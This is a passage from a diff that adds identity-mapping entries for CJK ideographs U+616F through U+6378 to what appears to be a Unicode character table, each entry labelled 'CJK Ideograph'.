+ ["\u616F", "\u616F"], /* CJK Ideograph */
+ ["\u6170", "\u6170"], /* CJK Ideograph */
+ ["\u6171", "\u6171"], /* CJK Ideograph */
+ ["\u6172", "\u6172"], /* CJK Ideograph */
+ ["\u6173", "\u6173"], /* CJK Ideograph */
+ ["\u6174", "\u6174"], /* CJK Ideograph */
+ ["\u6175", "\u6175"], /* CJK Ideograph */
+ ["\u6176", "\u6176"], /* CJK Ideograph */
+ ["\u6177", "\u6177"], /* CJK Ideograph */
+ ["\u6178", "\u6178"], /* CJK Ideograph */
+ ["\u6179", "\u6179"], /* CJK Ideograph */
+ ["\u617A", "\u617A"], /* CJK Ideograph */
+ ["\u617B", "\u617B"], /* CJK Ideograph */
+ ["\u617C", "\u617C"], /* CJK Ideograph */
+ ["\u617D", "\u617D"], /* CJK Ideograph */
+ ["\u617E", "\u617E"], /* CJK Ideograph */
+ ["\u617F", "\u617F"], /* CJK Ideograph */
+ ["\u6180", "\u6180"], /* CJK Ideograph */
+ ["\u6181", "\u6181"], /* CJK Ideograph */
+ ["\u6182", "\u6182"], /* CJK Ideograph */
+ ["\u6183", "\u6183"], /* CJK Ideograph */
+ ["\u6184", "\u6184"], /* CJK Ideograph */
+ ["\u6185", "\u6185"], /* CJK Ideograph */
+ ["\u6186", "\u6186"], /* CJK Ideograph */
+ ["\u6187", "\u6187"], /* CJK Ideograph */
+ ["\u6188", "\u6188"], /* CJK Ideograph */
+ ["\u6189", "\u6189"], /* CJK Ideograph */
+ ["\u618A", "\u618A"], /* CJK Ideograph */
+ ["\u618B", "\u618B"], /* CJK Ideograph */
+ ["\u618C", "\u618C"], /* CJK Ideograph */
+ ["\u618D", "\u618D"], /* CJK Ideograph */
+ ["\u618E", "\u618E"], /* CJK Ideograph */
+ ["\u618F", "\u618F"], /* CJK Ideograph */
+ ["\u6190", "\u6190"], /* CJK Ideograph */
+ ["\u6191", "\u6191"], /* CJK Ideograph */
+ ["\u6192", "\u6192"], /* CJK Ideograph */
+ ["\u6193", "\u6193"], /* CJK Ideograph */
+ ["\u6194", "\u6194"], /* CJK Ideograph */
+ ["\u6195", "\u6195"], /* CJK Ideograph */
+ ["\u6196", "\u6196"], /* CJK Ideograph */
+ ["\u6197", "\u6197"], /* CJK Ideograph */
+ ["\u6198", "\u6198"], /* CJK Ideograph */
+ ["\u6199", "\u6199"], /* CJK Ideograph */
+ ["\u619A", "\u619A"], /* CJK Ideograph */
+ ["\u619B", "\u619B"], /* CJK Ideograph */
+ ["\u619C", "\u619C"], /* CJK Ideograph */
+ ["\u619D", "\u619D"], /* CJK Ideograph */
+ ["\u619E", "\u619E"], /* CJK Ideograph */
+ ["\u619F", "\u619F"], /* CJK Ideograph */
+ ["\u61A0", "\u61A0"], /* CJK Ideograph */
+ ["\u61A1", "\u61A1"], /* CJK Ideograph */
+ ["\u61A2", "\u61A2"], /* CJK Ideograph */
+ ["\u61A3", "\u61A3"], /* CJK Ideograph */
+ ["\u61A4", "\u61A4"], /* CJK Ideograph */
+ ["\u61A5", "\u61A5"], /* CJK Ideograph */
+ ["\u61A6", "\u61A6"], /* CJK Ideograph */
+ ["\u61A7", "\u61A7"], /* CJK Ideograph */
+ ["\u61A8", "\u61A8"], /* CJK Ideograph */
+ ["\u61A9", "\u61A9"], /* CJK Ideograph */
+ ["\u61AA", "\u61AA"], /* CJK Ideograph */
+ ["\u61AB", "\u61AB"], /* CJK Ideograph */
+ ["\u61AC", "\u61AC"], /* CJK Ideograph */
+ ["\u61AD", "\u61AD"], /* CJK Ideograph */
+ ["\u61AE", "\u61AE"], /* CJK Ideograph */
+ ["\u61AF", "\u61AF"], /* CJK Ideograph */
+ ["\u61B0", "\u61B0"], /* CJK Ideograph */
+ ["\u61B1", "\u61B1"], /* CJK Ideograph */
+ ["\u61B2", "\u61B2"], /* CJK Ideograph */
+ ["\u61B3", "\u61B3"], /* CJK Ideograph */
+ ["\u61B4", "\u61B4"], /* CJK Ideograph */
+ ["\u61B5", "\u61B5"], /* CJK Ideograph */
+ ["\u61B6", "\u61B6"], /* CJK Ideograph */
+ ["\u61B7", "\u61B7"], /* CJK Ideograph */
+ ["\u61B8", "\u61B8"], /* CJK Ideograph */
+ ["\u61B9", "\u61B9"], /* CJK Ideograph */
+ ["\u61BA", "\u61BA"], /* CJK Ideograph */
+ ["\u61BB", "\u61BB"], /* CJK Ideograph */
+ ["\u61BC", "\u61BC"], /* CJK Ideograph */
+ ["\u61BD", "\u61BD"], /* CJK Ideograph */
+ ["\u61BE", "\u61BE"], /* CJK Ideograph */
+ ["\u61BF", "\u61BF"], /* CJK Ideograph */
+ ["\u61C0", "\u61C0"], /* CJK Ideograph */
+ ["\u61C1", "\u61C1"], /* CJK Ideograph */
+ ["\u61C2", "\u61C2"], /* CJK Ideograph */
+ ["\u61C3", "\u61C3"], /* CJK Ideograph */
+ ["\u61C4", "\u61C4"], /* CJK Ideograph */
+ ["\u61C5", "\u61C5"], /* CJK Ideograph */
+ ["\u61C6", "\u61C6"], /* CJK Ideograph */
+ ["\u61C7", "\u61C7"], /* CJK Ideograph */
+ ["\u61C8", "\u61C8"], /* CJK Ideograph */
+ ["\u61C9", "\u61C9"], /* CJK Ideograph */
+ ["\u61CA", "\u61CA"], /* CJK Ideograph */
+ ["\u61CB", "\u61CB"], /* CJK Ideograph */
+ ["\u61CC", "\u61CC"], /* CJK Ideograph */
+ ["\u61CD", "\u61CD"], /* CJK Ideograph */
+ ["\u61CE", "\u61CE"], /* CJK Ideograph */
+ ["\u61CF", "\u61CF"], /* CJK Ideograph */
+ ["\u61D0", "\u61D0"], /* CJK Ideograph */
+ ["\u61D1", "\u61D1"], /* CJK Ideograph */
+ ["\u61D2", "\u61D2"], /* CJK Ideograph */
+ ["\u61D3", "\u61D3"], /* CJK Ideograph */
+ ["\u61D4", "\u61D4"], /* CJK Ideograph */
+ ["\u61D5", "\u61D5"], /* CJK Ideograph */
+ ["\u61D6", "\u61D6"], /* CJK Ideograph */
+ ["\u61D7", "\u61D7"], /* CJK Ideograph */
+ ["\u61D8", "\u61D8"], /* CJK Ideograph */
+ ["\u61D9", "\u61D9"], /* CJK Ideograph */
+ ["\u61DA", "\u61DA"], /* CJK Ideograph */
+ ["\u61DB", "\u61DB"], /* CJK Ideograph */
+ ["\u61DC", "\u61DC"], /* CJK Ideograph */
+ ["\u61DD", "\u61DD"], /* CJK Ideograph */
+ ["\u61DE", "\u61DE"], /* CJK Ideograph */
+ ["\u61DF", "\u61DF"], /* CJK Ideograph */
+ ["\u61E0", "\u61E0"], /* CJK Ideograph */
+ ["\u61E1", "\u61E1"], /* CJK Ideograph */
+ ["\u61E2", "\u61E2"], /* CJK Ideograph */
+ ["\u61E3", "\u61E3"], /* CJK Ideograph */
+ ["\u61E4", "\u61E4"], /* CJK Ideograph */
+ ["\u61E5", "\u61E5"], /* CJK Ideograph */
+ ["\u61E6", "\u61E6"], /* CJK Ideograph */
+ ["\u61E7", "\u61E7"], /* CJK Ideograph */
+ ["\u61E8", "\u61E8"], /* CJK Ideograph */
+ ["\u61E9", "\u61E9"], /* CJK Ideograph */
+ ["\u61EA", "\u61EA"], /* CJK Ideograph */
+ ["\u61EB", "\u61EB"], /* CJK Ideograph */
+ ["\u61EC", "\u61EC"], /* CJK Ideograph */
+ ["\u61ED", "\u61ED"], /* CJK Ideograph */
+ ["\u61EE", "\u61EE"], /* CJK Ideograph */
+ ["\u61EF", "\u61EF"], /* CJK Ideograph */
+ ["\u61F0", "\u61F0"], /* CJK Ideograph */
+ ["\u61F1", "\u61F1"], /* CJK Ideograph */
+ ["\u61F2", "\u61F2"], /* CJK Ideograph */
+ ["\u61F3", "\u61F3"], /* CJK Ideograph */
+ ["\u61F4", "\u61F4"], /* CJK Ideograph */
+ ["\u61F5", "\u61F5"], /* CJK Ideograph */
+ ["\u61F6", "\u61F6"], /* CJK Ideograph */
+ ["\u61F7", "\u61F7"], /* CJK Ideograph */
+ ["\u61F8", "\u61F8"], /* CJK Ideograph */
+ ["\u61F9", "\u61F9"], /* CJK Ideograph */
+ ["\u61FA", "\u61FA"], /* CJK Ideograph */
+ ["\u61FB", "\u61FB"], /* CJK Ideograph */
+ ["\u61FC", "\u61FC"], /* CJK Ideograph */
+ ["\u61FD", "\u61FD"], /* CJK Ideograph */
+ ["\u61FE", "\u61FE"], /* CJK Ideograph */
+ ["\u61FF", "\u61FF"], /* CJK Ideograph */
+ ["\u6200", "\u6200"], /* CJK Ideograph */
+ ["\u6201", "\u6201"], /* CJK Ideograph */
+ ["\u6202", "\u6202"], /* CJK Ideograph */
+ ["\u6203", "\u6203"], /* CJK Ideograph */
+ ["\u6204", "\u6204"], /* CJK Ideograph */
+ ["\u6205", "\u6205"], /* CJK Ideograph */
+ ["\u6206", "\u6206"], /* CJK Ideograph */
+ ["\u6207", "\u6207"], /* CJK Ideograph */
+ ["\u6208", "\u6208"], /* CJK Ideograph */
+ ["\u6209", "\u6209"], /* CJK Ideograph */
+ ["\u620A", "\u620A"], /* CJK Ideograph */
+ ["\u620B", "\u620B"], /* CJK Ideograph */
+ ["\u620C", "\u620C"], /* CJK Ideograph */
+ ["\u620D", "\u620D"], /* CJK Ideograph */
+ ["\u620E", "\u620E"], /* CJK Ideograph */
+ ["\u620F", "\u620F"], /* CJK Ideograph */
+ ["\u6210", "\u6210"], /* CJK Ideograph */
+ ["\u6211", "\u6211"], /* CJK Ideograph */
+ ["\u6212", "\u6212"], /* CJK Ideograph */
+ ["\u6213", "\u6213"], /* CJK Ideograph */
+ ["\u6214", "\u6214"], /* CJK Ideograph */
+ ["\u6215", "\u6215"], /* CJK Ideograph */
+ ["\u6216", "\u6216"], /* CJK Ideograph */
+ ["\u6217", "\u6217"], /* CJK Ideograph */
+ ["\u6218", "\u6218"], /* CJK Ideograph */
+ ["\u6219", "\u6219"], /* CJK Ideograph */
+ ["\u621A", "\u621A"], /* CJK Ideograph */
+ ["\u621B", "\u621B"], /* CJK Ideograph */
+ ["\u621C", "\u621C"], /* CJK Ideograph */
+ ["\u621D", "\u621D"], /* CJK Ideograph */
+ ["\u621E", "\u621E"], /* CJK Ideograph */
+ ["\u621F", "\u621F"], /* CJK Ideograph */
+ ["\u6220", "\u6220"], /* CJK Ideograph */
+ ["\u6221", "\u6221"], /* CJK Ideograph */
+ ["\u6222", "\u6222"], /* CJK Ideograph */
+ ["\u6223", "\u6223"], /* CJK Ideograph */
+ ["\u6224", "\u6224"], /* CJK Ideograph */
+ ["\u6225", "\u6225"], /* CJK Ideograph */
+ ["\u6226", "\u6226"], /* CJK Ideograph */
+ ["\u6227", "\u6227"], /* CJK Ideograph */
+ ["\u6228", "\u6228"], /* CJK Ideograph */
+ ["\u6229", "\u6229"], /* CJK Ideograph */
+ ["\u622A", "\u622A"], /* CJK Ideograph */
+ ["\u622B", "\u622B"], /* CJK Ideograph */
+ ["\u622C", "\u622C"], /* CJK Ideograph */
+ ["\u622D", "\u622D"], /* CJK Ideograph */
+ ["\u622E", "\u622E"], /* CJK Ideograph */
+ ["\u622F", "\u622F"], /* CJK Ideograph */
+ ["\u6230", "\u6230"], /* CJK Ideograph */
+ ["\u6231", "\u6231"], /* CJK Ideograph */
+ ["\u6232", "\u6232"], /* CJK Ideograph */
+ ["\u6233", "\u6233"], /* CJK Ideograph */
+ ["\u6234", "\u6234"], /* CJK Ideograph */
+ ["\u6235", "\u6235"], /* CJK Ideograph */
+ ["\u6236", "\u6236"], /* CJK Ideograph */
+ ["\u6237", "\u6237"], /* CJK Ideograph */
+ ["\u6238", "\u6238"], /* CJK Ideograph */
+ ["\u6239", "\u6239"], /* CJK Ideograph */
+ ["\u623A", "\u623A"], /* CJK Ideograph */
+ ["\u623B", "\u623B"], /* CJK Ideograph */
+ ["\u623C", "\u623C"], /* CJK Ideograph */
+ ["\u623D", "\u623D"], /* CJK Ideograph */
+ ["\u623E", "\u623E"], /* CJK Ideograph */
+ ["\u623F", "\u623F"], /* CJK Ideograph */
+ ["\u6240", "\u6240"], /* CJK Ideograph */
+ ["\u6241", "\u6241"], /* CJK Ideograph */
+ ["\u6242", "\u6242"], /* CJK Ideograph */
+ ["\u6243", "\u6243"], /* CJK Ideograph */
+ ["\u6244", "\u6244"], /* CJK Ideograph */
+ ["\u6245", "\u6245"], /* CJK Ideograph */
+ ["\u6246", "\u6246"], /* CJK Ideograph */
+ ["\u6247", "\u6247"], /* CJK Ideograph */
+ ["\u6248", "\u6248"], /* CJK Ideograph */
+ ["\u6249", "\u6249"], /* CJK Ideograph */
+ ["\u624A", "\u624A"], /* CJK Ideograph */
+ ["\u624B", "\u624B"], /* CJK Ideograph */
+ ["\u624C", "\u624C"], /* CJK Ideograph */
+ ["\u624D", "\u624D"], /* CJK Ideograph */
+ ["\u624E", "\u624E"], /* CJK Ideograph */
+ ["\u624F", "\u624F"], /* CJK Ideograph */
+ ["\u6250", "\u6250"], /* CJK Ideograph */
+ ["\u6251", "\u6251"], /* CJK Ideograph */
+ ["\u6252", "\u6252"], /* CJK Ideograph */
+ ["\u6253", "\u6253"], /* CJK Ideograph */
+ ["\u6254", "\u6254"], /* CJK Ideograph */
+ ["\u6255", "\u6255"], /* CJK Ideograph */
+ ["\u6256", "\u6256"], /* CJK Ideograph */
+ ["\u6257", "\u6257"], /* CJK Ideograph */
+ ["\u6258", "\u6258"], /* CJK Ideograph */
+ ["\u6259", "\u6259"], /* CJK Ideograph */
+ ["\u625A", "\u625A"], /* CJK Ideograph */
+ ["\u625B", "\u625B"], /* CJK Ideograph */
+ ["\u625C", "\u625C"], /* CJK Ideograph */
+ ["\u625D", "\u625D"], /* CJK Ideograph */
+ ["\u625E", "\u625E"], /* CJK Ideograph */
+ ["\u625F", "\u625F"], /* CJK Ideograph */
+ ["\u6260", "\u6260"], /* CJK Ideograph */
+ ["\u6261", "\u6261"], /* CJK Ideograph */
+ ["\u6262", "\u6262"], /* CJK Ideograph */
+ ["\u6263", "\u6263"], /* CJK Ideograph */
+ ["\u6264", "\u6264"], /* CJK Ideograph */
+ ["\u6265", "\u6265"], /* CJK Ideograph */
+ ["\u6266", "\u6266"], /* CJK Ideograph */
+ ["\u6267", "\u6267"], /* CJK Ideograph */
+ ["\u6268", "\u6268"], /* CJK Ideograph */
+ ["\u6269", "\u6269"], /* CJK Ideograph */
+ ["\u626A", "\u626A"], /* CJK Ideograph */
+ ["\u626B", "\u626B"], /* CJK Ideograph */
+ ["\u626C", "\u626C"], /* CJK Ideograph */
+ ["\u626D", "\u626D"], /* CJK Ideograph */
+ ["\u626E", "\u626E"], /* CJK Ideograph */
+ ["\u626F", "\u626F"], /* CJK Ideograph */
+ ["\u6270", "\u6270"], /* CJK Ideograph */
+ ["\u6271", "\u6271"], /* CJK Ideograph */
+ ["\u6272", "\u6272"], /* CJK Ideograph */
+ ["\u6273", "\u6273"], /* CJK Ideograph */
+ ["\u6274", "\u6274"], /* CJK Ideograph */
+ ["\u6275", "\u6275"], /* CJK Ideograph */
+ ["\u6276", "\u6276"], /* CJK Ideograph */
+ ["\u6277", "\u6277"], /* CJK Ideograph */
+ ["\u6278", "\u6278"], /* CJK Ideograph */
+ ["\u6279", "\u6279"], /* CJK Ideograph */
+ ["\u627A", "\u627A"], /* CJK Ideograph */
+ ["\u627B", "\u627B"], /* CJK Ideograph */
+ ["\u627C", "\u627C"], /* CJK Ideograph */
+ ["\u627D", "\u627D"], /* CJK Ideograph */
+ ["\u627E", "\u627E"], /* CJK Ideograph */
+ ["\u627F", "\u627F"], /* CJK Ideograph */
+ ["\u6280", "\u6280"], /* CJK Ideograph */
+ ["\u6281", "\u6281"], /* CJK Ideograph */
+ ["\u6282", "\u6282"], /* CJK Ideograph */
+ ["\u6283", "\u6283"], /* CJK Ideograph */
+ ["\u6284", "\u6284"], /* CJK Ideograph */
+ ["\u6285", "\u6285"], /* CJK Ideograph */
+ ["\u6286", "\u6286"], /* CJK Ideograph */
+ ["\u6287", "\u6287"], /* CJK Ideograph */
+ ["\u6288", "\u6288"], /* CJK Ideograph */
+ ["\u6289", "\u6289"], /* CJK Ideograph */
+ ["\u628A", "\u628A"], /* CJK Ideograph */
+ ["\u628B", "\u628B"], /* CJK Ideograph */
+ ["\u628C", "\u628C"], /* CJK Ideograph */
+ ["\u628D", "\u628D"], /* CJK Ideograph */
+ ["\u628E", "\u628E"], /* CJK Ideograph */
+ ["\u628F", "\u628F"], /* CJK Ideograph */
+ ["\u6290", "\u6290"], /* CJK Ideograph */
+ ["\u6291", "\u6291"], /* CJK Ideograph */
+ ["\u6292", "\u6292"], /* CJK Ideograph */
+ ["\u6293", "\u6293"], /* CJK Ideograph */
+ ["\u6294", "\u6294"], /* CJK Ideograph */
+ ["\u6295", "\u6295"], /* CJK Ideograph */
+ ["\u6296", "\u6296"], /* CJK Ideograph */
+ ["\u6297", "\u6297"], /* CJK Ideograph */
+ ["\u6298", "\u6298"], /* CJK Ideograph */
+ ["\u6299", "\u6299"], /* CJK Ideograph */
+ ["\u629A", "\u629A"], /* CJK Ideograph */
+ ["\u629B", "\u629B"], /* CJK Ideograph */
+ ["\u629C", "\u629C"], /* CJK Ideograph */
+ ["\u629D", "\u629D"], /* CJK Ideograph */
+ ["\u629E", "\u629E"], /* CJK Ideograph */
+ ["\u629F", "\u629F"], /* CJK Ideograph */
+ ["\u62A0", "\u62A0"], /* CJK Ideograph */
+ ["\u62A1", "\u62A1"], /* CJK Ideograph */
+ ["\u62A2", "\u62A2"], /* CJK Ideograph */
+ ["\u62A3", "\u62A3"], /* CJK Ideograph */
+ ["\u62A4", "\u62A4"], /* CJK Ideograph */
+ ["\u62A5", "\u62A5"], /* CJK Ideograph */
+ ["\u62A6", "\u62A6"], /* CJK Ideograph */
+ ["\u62A7", "\u62A7"], /* CJK Ideograph */
+ ["\u62A8", "\u62A8"], /* CJK Ideograph */
+ ["\u62A9", "\u62A9"], /* CJK Ideograph */
+ ["\u62AA", "\u62AA"], /* CJK Ideograph */
+ ["\u62AB", "\u62AB"], /* CJK Ideograph */
+ ["\u62AC", "\u62AC"], /* CJK Ideograph */
+ ["\u62AD", "\u62AD"], /* CJK Ideograph */
+ ["\u62AE", "\u62AE"], /* CJK Ideograph */
+ ["\u62AF", "\u62AF"], /* CJK Ideograph */
+ ["\u62B0", "\u62B0"], /* CJK Ideograph */
+ ["\u62B1", "\u62B1"], /* CJK Ideograph */
+ ["\u62B2", "\u62B2"], /* CJK Ideograph */
+ ["\u62B3", "\u62B3"], /* CJK Ideograph */
+ ["\u62B4", "\u62B4"], /* CJK Ideograph */
+ ["\u62B5", "\u62B5"], /* CJK Ideograph */
+ ["\u62B6", "\u62B6"], /* CJK Ideograph */
+ ["\u62B7", "\u62B7"], /* CJK Ideograph */
+ ["\u62B8", "\u62B8"], /* CJK Ideograph */
+ ["\u62B9", "\u62B9"], /* CJK Ideograph */
+ ["\u62BA", "\u62BA"], /* CJK Ideograph */
+ ["\u62BB", "\u62BB"], /* CJK Ideograph */
+ ["\u62BC", "\u62BC"], /* CJK Ideograph */
+ ["\u62BD", "\u62BD"], /* CJK Ideograph */
+ ["\u62BE", "\u62BE"], /* CJK Ideograph */
+ ["\u62BF", "\u62BF"], /* CJK Ideograph */
+ ["\u62C0", "\u62C0"], /* CJK Ideograph */
+ ["\u62C1", "\u62C1"], /* CJK Ideograph */
+ ["\u62C2", "\u62C2"], /* CJK Ideograph */
+ ["\u62C3", "\u62C3"], /* CJK Ideograph */
+ ["\u62C4", "\u62C4"], /* CJK Ideograph */
+ ["\u62C5", "\u62C5"], /* CJK Ideograph */
+ ["\u62C6", "\u62C6"], /* CJK Ideograph */
+ ["\u62C7", "\u62C7"], /* CJK Ideograph */
+ ["\u62C8", "\u62C8"], /* CJK Ideograph */
+ ["\u62C9", "\u62C9"], /* CJK Ideograph */
+ ["\u62CA", "\u62CA"], /* CJK Ideograph */
+ ["\u62CB", "\u62CB"], /* CJK Ideograph */
+ ["\u62CC", "\u62CC"], /* CJK Ideograph */
+ ["\u62CD", "\u62CD"], /* CJK Ideograph */
+ ["\u62CE", "\u62CE"], /* CJK Ideograph */
+ ["\u62CF", "\u62CF"], /* CJK Ideograph */
+ ["\u62D0", "\u62D0"], /* CJK Ideograph */
+ ["\u62D1", "\u62D1"], /* CJK Ideograph */
+ ["\u62D2", "\u62D2"], /* CJK Ideograph */
+ ["\u62D3", "\u62D3"], /* CJK Ideograph */
+ ["\u62D4", "\u62D4"], /* CJK Ideograph */
+ ["\u62D5", "\u62D5"], /* CJK Ideograph */
+ ["\u62D6", "\u62D6"], /* CJK Ideograph */
+ ["\u62D7", "\u62D7"], /* CJK Ideograph */
+ ["\u62D8", "\u62D8"], /* CJK Ideograph */
+ ["\u62D9", "\u62D9"], /* CJK Ideograph */
+ ["\u62DA", "\u62DA"], /* CJK Ideograph */
+ ["\u62DB", "\u62DB"], /* CJK Ideograph */
+ ["\u62DC", "\u62DC"], /* CJK Ideograph */
+ ["\u62DD", "\u62DD"], /* CJK Ideograph */
+ ["\u62DE", "\u62DE"], /* CJK Ideograph */
+ ["\u62DF", "\u62DF"], /* CJK Ideograph */
+ ["\u62E0", "\u62E0"], /* CJK Ideograph */
+ ["\u62E1", "\u62E1"], /* CJK Ideograph */
+ ["\u62E2", "\u62E2"], /* CJK Ideograph */
+ ["\u62E3", "\u62E3"], /* CJK Ideograph */
+ ["\u62E4", "\u62E4"], /* CJK Ideograph */
+ ["\u62E5", "\u62E5"], /* CJK Ideograph */
+ ["\u62E6", "\u62E6"], /* CJK Ideograph */
+ ["\u62E7", "\u62E7"], /* CJK Ideograph */
+ ["\u62E8", "\u62E8"], /* CJK Ideograph */
+ ["\u62E9", "\u62E9"], /* CJK Ideograph */
+ ["\u62EA", "\u62EA"], /* CJK Ideograph */
+ ["\u62EB", "\u62EB"], /* CJK Ideograph */
+ ["\u62EC", "\u62EC"], /* CJK Ideograph */
+ ["\u62ED", "\u62ED"], /* CJK Ideograph */
+ ["\u62EE", "\u62EE"], /* CJK Ideograph */
+ ["\u62EF", "\u62EF"], /* CJK Ideograph */
+ ["\u62F0", "\u62F0"], /* CJK Ideograph */
+ ["\u62F1", "\u62F1"], /* CJK Ideograph */
+ ["\u62F2", "\u62F2"], /* CJK Ideograph */
+ ["\u62F3", "\u62F3"], /* CJK Ideograph */
+ ["\u62F4", "\u62F4"], /* CJK Ideograph */
+ ["\u62F5", "\u62F5"], /* CJK Ideograph */
+ ["\u62F6", "\u62F6"], /* CJK Ideograph */
+ ["\u62F7", "\u62F7"], /* CJK Ideograph */
+ ["\u62F8", "\u62F8"], /* CJK Ideograph */
+ ["\u62F9", "\u62F9"], /* CJK Ideograph */
+ ["\u62FA", "\u62FA"], /* CJK Ideograph */
+ ["\u62FB", "\u62FB"], /* CJK Ideograph */
+ ["\u62FC", "\u62FC"], /* CJK Ideograph */
+ ["\u62FD", "\u62FD"], /* CJK Ideograph */
+ ["\u62FE", "\u62FE"], /* CJK Ideograph */
+ ["\u62FF", "\u62FF"], /* CJK Ideograph */
+ ["\u6300", "\u6300"], /* CJK Ideograph */
+ ["\u6301", "\u6301"], /* CJK Ideograph */
+ ["\u6302", "\u6302"], /* CJK Ideograph */
+ ["\u6303", "\u6303"], /* CJK Ideograph */
+ ["\u6304", "\u6304"], /* CJK Ideograph */
+ ["\u6305", "\u6305"], /* CJK Ideograph */
+ ["\u6306", "\u6306"], /* CJK Ideograph */
+ ["\u6307", "\u6307"], /* CJK Ideograph */
+ ["\u6308", "\u6308"], /* CJK Ideograph */
+ ["\u6309", "\u6309"], /* CJK Ideograph */
+ ["\u630A", "\u630A"], /* CJK Ideograph */
+ ["\u630B", "\u630B"], /* CJK Ideograph */
+ ["\u630C", "\u630C"], /* CJK Ideograph */
+ ["\u630D", "\u630D"], /* CJK Ideograph */
+ ["\u630E", "\u630E"], /* CJK Ideograph */
+ ["\u630F", "\u630F"], /* CJK Ideograph */
+ ["\u6310", "\u6310"], /* CJK Ideograph */
+ ["\u6311", "\u6311"], /* CJK Ideograph */
+ ["\u6312", "\u6312"], /* CJK Ideograph */
+ ["\u6313", "\u6313"], /* CJK Ideograph */
+ ["\u6314", "\u6314"], /* CJK Ideograph */
+ ["\u6315", "\u6315"], /* CJK Ideograph */
+ ["\u6316", "\u6316"], /* CJK Ideograph */
+ ["\u6317", "\u6317"], /* CJK Ideograph */
+ ["\u6318", "\u6318"], /* CJK Ideograph */
+ ["\u6319", "\u6319"], /* CJK Ideograph */
+ ["\u631A", "\u631A"], /* CJK Ideograph */
+ ["\u631B", "\u631B"], /* CJK Ideograph */
+ ["\u631C", "\u631C"], /* CJK Ideograph */
+ ["\u631D", "\u631D"], /* CJK Ideograph */
+ ["\u631E", "\u631E"], /* CJK Ideograph */
+ ["\u631F", "\u631F"], /* CJK Ideograph */
+ ["\u6320", "\u6320"], /* CJK Ideograph */
+ ["\u6321", "\u6321"], /* CJK Ideograph */
+ ["\u6322", "\u6322"], /* CJK Ideograph */
+ ["\u6323", "\u6323"], /* CJK Ideograph */
+ ["\u6324", "\u6324"], /* CJK Ideograph */
+ ["\u6325", "\u6325"], /* CJK Ideograph */
+ ["\u6326", "\u6326"], /* CJK Ideograph */
+ ["\u6327", "\u6327"], /* CJK Ideograph */
+ ["\u6328", "\u6328"], /* CJK Ideograph */
+ ["\u6329", "\u6329"], /* CJK Ideograph */
+ ["\u632A", "\u632A"], /* CJK Ideograph */
+ ["\u632B", "\u632B"], /* CJK Ideograph */
+ ["\u632C", "\u632C"], /* CJK Ideograph */
+ ["\u632D", "\u632D"], /* CJK Ideograph */
+ ["\u632E", "\u632E"], /* CJK Ideograph */
+ ["\u632F", "\u632F"], /* CJK Ideograph */
+ ["\u6330", "\u6330"], /* CJK Ideograph */
+ ["\u6331", "\u6331"], /* CJK Ideograph */
+ ["\u6332", "\u6332"], /* CJK Ideograph */
+ ["\u6333", "\u6333"], /* CJK Ideograph */
+ ["\u6334", "\u6334"], /* CJK Ideograph */
+ ["\u6335", "\u6335"], /* CJK Ideograph */
+ ["\u6336", "\u6336"], /* CJK Ideograph */
+ ["\u6337", "\u6337"], /* CJK Ideograph */
+ ["\u6338", "\u6338"], /* CJK Ideograph */
+ ["\u6339", "\u6339"], /* CJK Ideograph */
+ ["\u633A", "\u633A"], /* CJK Ideograph */
+ ["\u633B", "\u633B"], /* CJK Ideograph */
+ ["\u633C", "\u633C"], /* CJK Ideograph */
+ ["\u633D", "\u633D"], /* CJK Ideograph */
+ ["\u633E", "\u633E"], /* CJK Ideograph */
+ ["\u633F", "\u633F"], /* CJK Ideograph */
+ ["\u6340", "\u6340"], /* CJK Ideograph */
+ ["\u6341", "\u6341"], /* CJK Ideograph */
+ ["\u6342", "\u6342"], /* CJK Ideograph */
+ ["\u6343", "\u6343"], /* CJK Ideograph */
+ ["\u6344", "\u6344"], /* CJK Ideograph */
+ ["\u6345", "\u6345"], /* CJK Ideograph */
+ ["\u6346", "\u6346"], /* CJK Ideograph */
+ ["\u6347", "\u6347"], /* CJK Ideograph */
+ ["\u6348", "\u6348"], /* CJK Ideograph */
+ ["\u6349", "\u6349"], /* CJK Ideograph */
+ ["\u634A", "\u634A"], /* CJK Ideograph */
+ ["\u634B", "\u634B"], /* CJK Ideograph */
+ ["\u634C", "\u634C"], /* CJK Ideograph */
+ ["\u634D", "\u634D"], /* CJK Ideograph */
+ ["\u634E", "\u634E"], /* CJK Ideograph */
+ ["\u634F", "\u634F"], /* CJK Ideograph */
+ ["\u6350", "\u6350"], /* CJK Ideograph */
+ ["\u6351", "\u6351"], /* CJK Ideograph */
+ ["\u6352", "\u6352"], /* CJK Ideograph */
+ ["\u6353", "\u6353"], /* CJK Ideograph */
+ ["\u6354", "\u6354"], /* CJK Ideograph */
+ ["\u6355", "\u6355"], /* CJK Ideograph */
+ ["\u6356", "\u6356"], /* CJK Ideograph */
+ ["\u6357", "\u6357"], /* CJK Ideograph */
+ ["\u6358", "\u6358"], /* CJK Ideograph */
+ ["\u6359", "\u6359"], /* CJK Ideograph */
+ ["\u635A", "\u635A"], /* CJK Ideograph */
+ ["\u635B", "\u635B"], /* CJK Ideograph */
+ ["\u635C", "\u635C"], /* CJK Ideograph */
+ ["\u635D", "\u635D"], /* CJK Ideograph */
+ ["\u635E", "\u635E"], /* CJK Ideograph */
+ ["\u635F", "\u635F"], /* CJK Ideograph */
+ ["\u6360", "\u6360"], /* CJK Ideograph */
+ ["\u6361", "\u6361"], /* CJK Ideograph */
+ ["\u6362", "\u6362"], /* CJK Ideograph */
+ ["\u6363", "\u6363"], /* CJK Ideograph */
+ ["\u6364", "\u6364"], /* CJK Ideograph */
+ ["\u6365", "\u6365"], /* CJK Ideograph */
+ ["\u6366", "\u6366"], /* CJK Ideograph */
+ ["\u6367", "\u6367"], /* CJK Ideograph */
+ ["\u6368", "\u6368"], /* CJK Ideograph */
+ ["\u6369", "\u6369"], /* CJK Ideograph */
+ ["\u636A", "\u636A"], /* CJK Ideograph */
+ ["\u636B", "\u636B"], /* CJK Ideograph */
+ ["\u636C", "\u636C"], /* CJK Ideograph */
+ ["\u636D", "\u636D"], /* CJK Ideograph */
+ ["\u636E", "\u636E"], /* CJK Ideograph */
+ ["\u636F", "\u636F"], /* CJK Ideograph */
+ ["\u6370", "\u6370"], /* CJK Ideograph */
+ ["\u6371", "\u6371"], /* CJK Ideograph */
+ ["\u6372", "\u6372"], /* CJK Ideograph */
+ ["\u6373", "\u6373"], /* CJK Ideograph */
+ ["\u6374", "\u6374"], /* CJK Ideograph */
+ ["\u6375", "\u6375"], /* CJK Ideograph */
+ ["\u6376", "\u6376"], /* CJK Ideograph */
+ ["\u6377", "\u6377"], /* CJK Ideograph */
+ ["\u6378", "\u6378"], /* CJK Ideograph */
